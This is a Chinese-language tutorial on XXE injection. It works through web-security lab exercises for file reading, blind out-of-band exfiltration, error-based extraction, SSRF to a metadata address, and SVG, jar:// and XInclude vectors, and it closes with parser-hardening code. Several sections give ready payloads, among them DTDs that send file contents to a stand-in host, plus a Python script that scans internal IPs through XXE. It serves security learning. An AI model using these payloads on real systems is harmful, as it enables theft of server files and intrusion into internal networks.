网络安全实战从 0 到 1 彻底掌握 XXE,看这一篇就够了
0x01 什么是 XXE个人认为,XXE 可以归结为一句话:构造恶意 DTD
介绍 XXE 之前,我先来说一下普通的 XML 注如,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞。
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE。
XML 外部实体注入,全称为 XML external entity injection,某些应用程序允许 XML 格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。
我们之前在0x01当中所讲的例子均为内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:示例代码:
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds> <user>&xxe;</user> <pass>mypass</pass></creds>
复制代码
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)
当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
复制代码
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
重点二:
我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。
1.通用实体
用 &实体名; 引用的实体,他在 DTD 中定义,在 XML 文档中引用
示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/wini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
复制代码
2.参数实体:
(1)使用% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用
示例代码:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example/remote.dtd"> %an-element; %remote-dtd;
复制代码
参数实体在我们 Blind XXE 中起到了至关重要的作用
【一一帮助安全学习,所有资源获取处一一】①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④50 份安全攻防面试指南⑤安全红队渗透工具包⑥信息收集 80 条搜索语法⑦100 个漏洞实战案例⑧安全大厂内部视频资源⑨历年 CTF 夺旗赛题解析
0x02 XXE 的危害1.像上文那个 file://xxx 的,很明显可以造成敏感数据泄露。2.可以利用 XXE 执行 SSRF 攻击。3.利用盲 XXE 将泄露数据外带;通过报错信息检索数据。4.XXE 与文件上传结合,造成 getshell。我们后续慢慢看 XXE 的危害。
0x04 XXE 几种攻击方式学习1. 通过 File 协议进行文件读取示例代码:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/wini"> ]> <updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ... </updateProfile>
复制代码
这里的 firstname 以及 lastname 都是在 XML 文件中解析的,我们尝试自己构造 payload 的话可以是这样
<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><comment><text>&test;</text></comment>
复制代码
test -> "file:///etc/passwd" 通俗易懂
我们依靠一道靶场来加强一下感受
Lab: Exploiting XXE using external entities to retrieve files
题意:通过 XXE 注入爆出/etc/passwd的内容进入靶场之后,先点击任意一个商品 - "view details",再 Check stock 并抓包。
这里的 productId 以及 storeId 是通过 XML 的形式传进来的,尝试通过 File 协议进行文件读取
payload:
<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><stockCheck><productId>&test;</productId><storeId>4</storeId></stockCheck>
复制代码
2. XXE 盲注所谓盲注,就是无回显XXE 盲注的一般思路,需要使用第三方平台协助攻击。
(1) 基本盲注以 Port 靶场为例。
Lab: Blind XXE with out-of-band interaction via XML parameter entities
payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator"> %xxe; ]><stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId></stockCheck>
复制代码
(2) 多个 DTD 的调用攻击这里以 PHP 代码为例进行说明
xml.php
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
复制代码
直接上 payload,并用 payload 加以理解
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]
复制代码
这是我们对要进行渗透的 payload,有三个参数%remote, %int, %send;后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD
test.dtd
接着,%int去调用 test.dtd 当中的 file,这里稍微慢一点,分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;;也就是 %file 在前面被定义,而 %file 则是恶意读取了文件,这里可以替换成 /etc/passwd 这类。
如此一来,%int 成为了这个网站的恶意 DTD,在 %int 里面定义了一个 %send 的变量名称。由此,最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload
<?xml version='1.0'?><!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]><comment><text>&send;</text></comment>
复制代码
这样,我们三层的 payload 经过抽丝剥茧,变成了一层简单的 payload。接下来我们来看一道简单的 Port 靶场上的盲注
Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
题目要求我们爆出 /etc/hostname 的文件依旧是在 Stock 界面进行抓包,同样是 XML 形式
Port 里面的渗透测试是给我们第三方的服务器的,也就是 exploit server,但是在真正的渗透测试中,如果要测盲注的话,还是需要自己的服务器的。
按照之前的思路,进行多层恶意 DTD 的构造,并把这个恶意 DTD 挂在第三方服务器上面。
这里点 Store,因为存储之后,就等于你在你自己的服务器上面有了这个恶意的 DTD,一会儿复用即可。恶意 DTD 的 URL 我放在下面,每个人进靶场都是不一样的
URL: https://exploit-acbc1f081e35bba3c0a7180f0145001b.web-security-academy/exploit成功,我们 exploit 的/etc/hostname在 GET 请求参数中
(3) 报错型盲注报错型注入是基于 "多个 DTD 的调用攻击"攻击思路;和 "多个 DTD 的调用攻击" 大部分一致,稍有不同evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil;
复制代码
攻击的 payload
<!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger/web-security/xxe) SYSTEM "YOUR-DTD-URL"> %xxe;]>
复制代码
剖析一下
先调用&xxe;,&xxe;去调用上面的恶意 DTD,恶意 DTD 调用了file:///etc/passwd这一操作,这一操作,又被&eval中的内容又会在&exfil中的'file:///invalid/%file;'所调用。但是 invalid/%file 后面的内容一定是报错的,这个报错消息反而会被带出来。
这也就是 XXE 盲注中的报错注入
Lab: Exploiting blind XXE to retrieve data via error messages
根据上述的方法,先在 exploit server 中投放恶意 DTD,再在抓包界面进行调用第三方服务器上的 DTD,便可造成报错注入。
3. 利用 XXE 执行 SSRF书说上文的 file 协议我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求。
我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?
没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用方式不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议。
我们的 payload 一般长这样
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://对方的内网IP"> ]><test> &xxe;</test>
复制代码
当我们无法确定对方的具体 IP 时,可以通过 EXP 的方式进行探测。这里借用 K0rz3n 师傅的 EXP
内网 IP 爆破import requestsimport base64#Origtional XML that the server accepts#<xml># <stuff>user</stuff>#</xml>def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml)def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('存在 XXE 的 URL', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string# print base64.b64decode(coded_string)for i in range(1, 255): try: i = str(i) ip = '10.0.0.' + i # 对应的内网 IP 地址 string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except:continue
复制代码
内网端破端口的爆破可以使用 Burpsuite 来完成
比如我们传入:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [<!ELEMENT data (#PCDATA)>]><data>4</data>
复制代码
对端口号添加引用符,放置于 Burpsuite Intruder 当中爆破。
靶场:Lab: Exploiting XXE to perform SSRF attacks
常规抓包
构造 payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]><stockCheck> <productId> &xxe; </productId> <storeId> 1 </storeId></stockCheck>
复制代码
这里 169.254.169.254 是对方服务器的 IP
发包之后,回显是 400,告诉我们 "Invalid product ID: latest";再进一步添加接口。一步步添加接口,直至出现回显数据为止,这种 SSRF 只能够读取到文件,个人认为危害性一般。
4. XXE 与文件上传结合(1) 使用 svg 上传图片SVG 图片是一种基于 XML 语法的图像格式,是一种矢量图。那么我们结合文件上传的功能,可以在 SVG 中编辑 XML 语句,从而达到 XXE 的攻击效果。
一般的 payload
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3/2000/svg" xmlns:xlink="http://www.w3/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>
复制代码
这样一来,我们想要知道的信息就能够被暴露在上传的图片当中,也就是此 SVG 图片中。
Lab: Exploiting XXE via image file upload
前往 blog 的评论区界面,先事先创建好 1.svg,并在 SVG 文件当中编辑如下,作为我们的 payload
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3/2000/svg" xmlns:xlink="http://www.w3/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>
复制代码
上传后,我们的 SVG 图片中突然多了些许文字,点进去查看即可解题。
(2) 利用 jar:// 协议的攻击jar:// 协议的格式:
jar:{url}!{path}
复制代码
实例:
jar:http://host/application.jar!/file/within/the/zip! 后面就是其需要从中解压出的文件
复制代码
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中(2) 提取出我们指定的文件(3) 删除临时文件
因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用
那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的
jar:http://localhost:9999/jar.zip!/1.php
复制代码
既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是 sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题。
5. 利用 XInclude 攻击利用 XInclude 攻击的方式比起最粗暴的定义DOCTYPE来说更加含蓄些许,当我们无法直接定义DOCTYPE的时候才会转而向 XInclude 攻击;且要求后端采用的是 SOAP 协议。
先说说 SOAP 协议吧,也不难理解。SOAP 协议在接收到请求后,SOAP 消息必须以 XML 文档的形式返回,所以要以 SOAP 协议作为后端的 Web 界面才会存在 XXE 的隐患。
XInclude 攻击的 payload
<foo xmlns:xi="http://www.w3/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
复制代码
不同的是,这里我们被禁止定义DOCTYPE,所以要对 Web 元素下手。
Lab: Exploiting XInclude to retrieve files
6. 别样的利用方式,复用本地 DTD这种攻击手段,一般是源于服务器与域名之间存在防火墙,导致数据无法带出。
利用出发点:由于许多包含 DTD 文件的常见 CMS 都是开源的,我们需要寻找要攻击的服务器上的 DTD 文件。这个方法只需要知道本地 DTD 文件的路径,并且在该 DTD 中定义了实体变量并且进行了引用。
比如在 ubuntu16.04 中,我使用全局搜索得到以下的一些原生 dtd 文件:
//find / name "*.dtd"/usr/share/sgml/metacity-common/metacity-theme.dtd/usr/share/sgml/dtd/xml-core/catalog.dtd/usr/share/sgml/gconf/gconf-1.0.dtd/usr/share/gdb/syscalls/gdb-syscalls.dtd/usr/share/djvu/pubtext/DjVuOCR.dtd/usr/share/djvu/pubtext/DjVuMessages.dtd/usr/share/djvu/pubtext/DjVuXML-s.dtd/usr/share/avahi/avahi-service.dtd/usr/share/glib-2.0/schemas/gschema.dtd/usr/share/X11/xkb/rules/xkb.dtd/usr/share/doc/libxml-parser-perl/examples/ctest.dtd/usr/share/xml/schema/xml-core/tr9401.dtd/usr/share/xml/schema/xml-core/catalog.dtd/usr/share/gtksourceview-3.0/language-specs/language.dtd/usr/share/yelp/dtd/docbookx.dtd/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd/usr/share/libgweather/locations.dtd/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd
复制代码
这里使用 sip-app_1_0.dtd 为例,内容如下。
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>
复制代码
构造 payload
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]>
复制代码
这样依赖,我们在调用&local_dtd的时候,会对 condition 实体进行引用,接着会将 condition 内容替换进来。在复用本地 DTD 文件之后,可以重新定义该文件中的一些参数实体引用;从而进一步构造 payload。
这么干讲还是有点太抽象了,我们看一道靶场体验一下。
Lab: Exploiting XXE to retrieve data by repurposing a local DTD
题目要求我们获得 /etc/passwd 的内容,并且告诉了我们本地 DTD 的路径;以及实体类的名称。直接构造 payload
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval;%error; '> %local_dtd; ]>
复制代码
剖析 payload
这里我们调用了本地的 dockbookx.dtd,在调用本地的 dockbookx.dtd 的同时,复写了 ISOamso 这一实体类,ISOamso 被调用的时候就执行了我们的恶意命令,从而达到读取文件的效果。
0x05 XXE 漏洞的防御禁用外部实体这种方式在不同语言中不一样
PHP
libxml_disable_entity_loader(true);
复制代码
JA
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache/xml/features/disallow-doctype-decl",true);.setFeature("http://xml/sax/features/external-general-entities",false).setFeature("http://xml/sax/features/external-parameter-entities",false);
复制代码
Python
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码
禁用外部实体是防御 XXE 最有效的方式